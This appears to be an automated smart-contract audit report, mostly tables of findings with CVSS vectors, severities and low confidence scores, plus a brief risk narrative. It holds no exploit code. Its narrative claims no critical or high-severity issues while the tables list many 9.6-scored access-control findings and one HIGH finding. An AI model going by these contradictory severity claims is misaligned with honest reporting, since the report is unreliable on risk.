FINDING ID	TITLE	BASE SCORE	VECTOR
llamaaudit-pattern-access_control-2	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-3	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-4	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-5	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-6	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-7	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-8	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:H/I:H/ A:N
llamaaudit-pattern-access_control-9	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-12	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-26	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-27	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-28	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-29	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-30	access_control	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-31	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-32	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-33	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-34	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-35	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-36	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-37	access_control	9.6	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-38	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-39	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-40	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-41	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-42	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-43	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-44	access_control	9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-45	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-46	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-47	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-48	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-49	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-50	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
llamaaudit-pattern-access_control-51	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-52	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-53	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-54	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-55	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-56	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-57	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:H/I:H/ A:N
llamaaudit-pattern-access_control-58	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-59	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-60	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-61	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-62	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-63	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-65	access_control	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-66	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-67	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-68	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-69	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-70	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-71	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-72	access_control	9.6	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-access_control-73	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
llamaaudit-pattern-unchecked_call-1	unchecked_call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
llamaaudit-pattern-unchecked_call-2	unchecked_call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
llamaaudit-pattern-unchecked_call-5	unchecked_call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
llamaaudit-pattern-unchecked_call-6	unchecked_call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
llamaaudit-pattern-denial_of_service-1	denial_of_service	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-14	arithmetic	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-25	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-42	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-52	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-71	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-access_control-154	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-denial_of_service-177	denial_of_service	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
pattern-arithmetic-192	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-202	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-213	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-230	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-240	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-259	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-denial_of_service-341	denial_of_service	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
pattern-arithmetic-356	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-374	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-383	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-denial_of_service-507	denial_of_service	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-674	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-short_address-697	short_address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-750	arithmetic	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
pattern-short_address-773	short_address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-841	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-961	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-971	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-995	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1048	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1072	arithmetic	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1078	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1094	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1138	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1144	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-access_control-1201	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-access_control-1209	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-access_control-1226	access_control	9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-access_control-1233	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-short_address-1252	short_address	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1445	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-denial_of_service-1601	denial_of_service	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1608	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1716	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
pattern-arithmetic-1792	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1798	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-1866	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-access_control-1912	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
pattern-bad_randomness-1983	bad_randomness	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
pattern-arithmetic-2251	arithmetic	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

Scoring Methodology: - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

3.3 Risk Narrative

The audit results indicate a significant number of issues across various categories, primarily in access control (86 issues), missing annotation coverage (56 issues), and postcondition failure (40 issues). These findings suggest potential vulnerabilities that could be exploited to manipulate contract behavior or gain unauthorized access. The primary attack vectors include unauthorized access through flawed access control mechanisms, and logic errors due to missing postconditions and annotations. While there are no critical or high-severity issues, the medium-severity issues pose a non-negligible risk. Immediate actions should focus on addressing access control and postcondition failures to mitigate the risk of unauthorized access and logic errors. Prioritize fixing issues related to missing zero address checks and gas optimizations to enhance overall contract security.

4. Findings Overview

4.1 Summary Table

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-001	unchecked-lowlevel	MEDIUM	48%	1	Open (48% conf.)	4.3
F-002	unchecked-lowlevel	MEDIUM	48%	1	Open (48% conf.)	4.3
F-003	missing-zero-check	LOW	48%	1	Open (48% conf.)	3.1
F-004	missing-zero-check	LOW	48%	1	Open (48% conf.)	3.1
F-005	missing-zero-check	LOW	48%	1	Open (48% conf.)	3.1
F-006	missing-zero-check	LOW	48%	1	Open (48% conf.)	3.1
F-007	assembly	INFO	34%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (34% conf.)	
F-008	assembly	INFO	34%	1	Open (34% conf.)	3.1
F-009	assembly	INFO	34%	1	Open (34% conf.)	3.1
F-010	assembly	INFO	34%	1	Open (34% conf.)	3.1
F-011	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-012	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-013	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-014	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-015	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-016	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-017	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-018	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-019	dead-code	INFO	28%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-020	dead-code	INFO	28%	1	Open (28% conf.)	3.1
F-021	solc-version	INFO	28%	1	Open (28% conf.)	2.1
F-022	solc-version	INFO	28%	1	Open (28% conf.)	2.1
F-023	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-024	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-025	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-026	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-027	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-028	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-029	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-030	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-031	low-level-calls	INFO	34%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (34% conf.)	
F-032	low-level-calls	INFO	34%	1	Open (34% conf.)	3.1
F-033	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-034	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-035	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-036	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-037	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-038	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-039	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-040	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-041	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-042	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-043	naming-convention	INFO	28%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-044	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-045	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-046	naming-convention	INFO	28%	1	Open (28% conf.)	3.1
F-047	redundant-statements	INFO	34%	1	Open (34% conf.)	3.1
F-048	redundant-statements	INFO	34%	1	Open (34% conf.)	3.1
F-049	unindexed-event-address	INFO	34%	1	Open (34% conf.)	5.4
F-050	unindexed-event-address	INFO	34%	1	Open (34% conf.)	5.4
F-051	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-052	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-053	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-054	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-055	missing_zero_address_check	LOW	28%	1		5.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-056	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-057	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-058	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-059	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-060	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-061	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-062	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-063	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-064	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-065	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-066	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-067	missing_zero_address_check	LOW	28%	1		5.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-068	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-069	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-070	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-071	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-072	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-073	missing_zero_address_check	LOW	28%	1	Open (28% conf.)	5.6
F-074	use_of_block_timestamp	LOW	28%	1	Open (28% conf.)	3.1
F-075	use_of_block_timestamp	LOW	28%	1	Open (28% conf.)	3.1
F-076	missing_event_emission	LOW	28%	1	Open (28% conf.)	3.1
F-077	missing_event_emission	LOW	28%	1	Open (28% conf.)	3.1
F-078	loop_length_caching	INFO	20%	1	Open (20% conf.)	3.1
F-079	eth-send-unchecked-address	HIGH	45%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (45% conf.)	
F-080	eth-send-unchecked-address	MEDIUM	45%	1	Open (45% conf.)	6.8
F-081	eth-send-unchecked-address	MEDIUM	45%	1	Open (45% conf.)	6.8
F-082	eth-send-unchecked-address	MEDIUM	45%	1	Open (45% conf.)	6.8
F-083	unchecked-low-level-call	MEDIUM	45%	1	Open (45% conf.)	6.8
F-084	unchecked-low-level-call	MEDIUM	45%	1	Open (45% conf.)	6.8
F-085	costly-loop	LOW	45%	1	Open (45% conf.)	6.8
F-086	dead-code	LOW	26%	1	Open (26% conf.)	3.1
F-087	dead-code	LOW	26%	1	Open (26% conf.)	3.1
F-088	empty-block	LOW	45%	1	Open (45% conf.)	6.8
F-089	empty-block	LOW	45%	1	Open (45% conf.)	6.8
F-090	empty-block	LOW	45%	1	Open (45% conf.)	6.8
F-091	internal-function-used-once	LOW	45%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (45% conf.)	
F-092	internal-function-used-once	LOW	45%	1	Open (45% conf.)	6.8
F-093	internal-function-used-once	LOW	45%	1	Open (45% conf.)	6.8
F-094	internal-function-used-once	LOW	45%	1	Open (45% conf.)	6.8
F-095	internal-function-used-once	LOW	45%	1	Open (45% conf.)	6.8
F-096	modifier-used-only-once	LOW	45%	1	Open (45% conf.)	6.8
F-097	redundant-statement	LOW	45%	1	Open (45% conf.)	6.8
F-098	redundant-statement	LOW	45%	1	Open (45% conf.)	6.8
F-099	state-change-without-event	LOW	45%	1	Open (45% conf.)	6.8
F-100	state-change-without-event	LOW	45%	1	Open (45% conf.)	6.8
F-101	state-change-without-event	LOW	45%	1	Open (45% conf.)	6.8
F-102	state-change-without-event	LOW	45%	1	Open (45% conf.)	6.8
F-103		LOW	26%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
	state-variable-could-be-immutable				Open (26% conf.)	
F-104	state-variable-could-be-immutable	LOW	26%	1	Open (26% conf.)	6.8
F-105	state-variable-could-be-immutable	LOW	26%	1	Open (26% conf.)	6.8
F-106	unsafe-erc20-operation	LOW	45%	1	Open (45% conf.)	6.6
F-107	unsafe-erc20-operation	LOW	45%	1	Open (45% conf.)	6.6
F-108	unsafe-erc20-operation	LOW	45%	1	Open (45% conf.)	6.6
F-109	unsafe-erc20-operation	LOW	45%	1	Open (45% conf.)	6.6
F-110	unsafe-erc20-operation	LOW	45%	1	Open (45% conf.)	6.6
F-111	state_manipulation	LOW	28%	1	Open (28% conf.)	6.8
F-112	fund_extraction	MEDIUM	28%	1	Open (28% conf.)	6.8
F-113	privilege_escalation_sequence	MEDIUM	28%	1	Open (28% conf.)	6.8
F-114	cross_function_vulnerability	MEDIUM	28%	1	Open (28% conf.)	6.8
F-115	invariant_violation	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-116	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-117	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-118	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-119	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-120	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-121	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-122	invariant_violation	MEDIUM	28%	1	Open (28% conf.)	6.8
F-123	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-124	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-125	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-126	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-127	precondition_failure	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-128	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-129	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-130	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-131	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-132	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-133	precondition_failure	LOW	28%	1	Open (28% conf.)	6.8
F-134	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-135	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-136	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-137	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-138	precondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-139	precondition_failure	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-140	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-141	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-142	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-143	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-144	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-145	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-146	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-147	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-148	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-149	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-150	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-151	postcondition_failure	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-152	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-153	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-154	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-155	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-156	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-157	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-158	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-159	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-160	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-161	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-162	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-163	postcondition_failure	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-164	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-165	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-166	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-167	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-168	postcondition_failure	LOW	28%	1	Open (28% conf.)	6.8
F-169	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-170	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-171	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-172	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-173	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-174	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-175	postcondition_failure	MEDIUM	28%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-176	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-177	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-178	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-179	postcondition_failure	MEDIUM	28%	1	Open (28% conf.)	6.8
F-180	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-181	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-182	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-183	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-184	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-185	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-186	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-187	access_control_violation	MEDIUM	28%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (28% conf.)	
F-188	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
F-189	access_control_violation	MEDIUM	28%	1	Open (28% conf.)	9.6
